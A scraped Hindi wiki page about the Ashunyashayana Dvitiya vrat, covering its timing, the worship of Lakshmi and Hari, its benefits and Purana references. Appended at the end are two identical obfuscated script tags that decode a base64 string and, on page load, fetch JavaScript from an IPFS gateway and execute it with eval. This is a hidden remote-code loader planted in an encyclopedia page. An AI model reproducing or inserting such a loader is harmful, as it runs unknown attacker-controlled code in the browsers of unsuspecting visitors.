अशून्यशयन द्वितीया

भारत डिस्कवरी प्रस्तुति
आदित्य चौधरी (वार्ता | योगदान) द्वारा परिवर्तित 16:21, 25 फ़रवरी 2011 का अवतरण (Text replace - "उल्लखित" to "उल्लिखित")
यहाँ जाएँ:नेविगेशन, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • श्रावण के उपरान्त चार मासों की कृष्ण पक्ष की द्वितीया तिथि को अशून्यशयनव्रत किया जाता है।
  • इस व्रत में लक्ष्मी एवं हरि की पूजा करनी चाहिये।[1]
  • इस व्रत से नारियों को अवैधव्य एवं पुरुषों को अवियोग की अवस्था प्राप्त होती है।
  • हेमाद्रि व्रत खण्ड [2] में आया है-: लक्षम्या न शून्यं वरद यथा ते शयनं सदा। शय्या समाप्यशून्यास्तु तथात्र मधुसूदन।[3]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. विष्णुधर्मोत्तर पुराण (1|145|6-20 एवं 3|132|1-12); वामन पुराण (16|16-29), [[अग्निपुराण (177|3-12), भविष्योत्तर पुराण (1|20|4-28); कृत्यकल्पतरु (व्रत0 41-44), हेमाद्रि व्रत खण्ड (1, 366-371)
  2. (हेमाद्रि व्रत खण्ड 1, 373)
  3. कृत्यकल्पतरु (पृ0 228)

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>